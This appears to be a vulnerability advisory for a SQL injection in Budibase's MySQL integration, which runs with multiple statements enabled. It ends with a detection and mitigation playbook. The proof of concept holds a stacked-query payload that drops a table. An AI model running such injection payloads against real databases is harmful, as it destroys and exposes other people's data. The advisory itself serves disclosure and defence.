Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.

@budibase/servernpmDescription
Summary
A critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.
Details
Vulnerability Type
SQL Injection
Description
The MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.
Location
// File: packages/server/src/integrations/mysql.ts
// Line: 173
this.config = {
...config,
typeCast: defaultTypeCasting,
multipleStatements: true, // VULNERABLE
timezone: "Z",
}
Proof of Concept
Exploit
const mysql = require('mysql2');
// Budibase vulnerable configuration
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'password',
multipleStatements: true, // Vulnerable setting
timezone: "Z"
});
// Attack: Data destruction
connection.query(
`SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,
(err, results) => {
if (!err) console.log("Table dropped successfully");
}
);
Impact
- Data Destruction: Execute DROP TABLE, DELETE commands
- Data Theft: Exfiltrate data via SELECT INTO OUTFILE
- Privilege Escalation: Grant database admin privileges
- Denial of Service: Disrupt service operations
- Complete Database Compromise: Full control over database

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of @budibase/server for GHSA-q6x4-v3qx-85qw. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
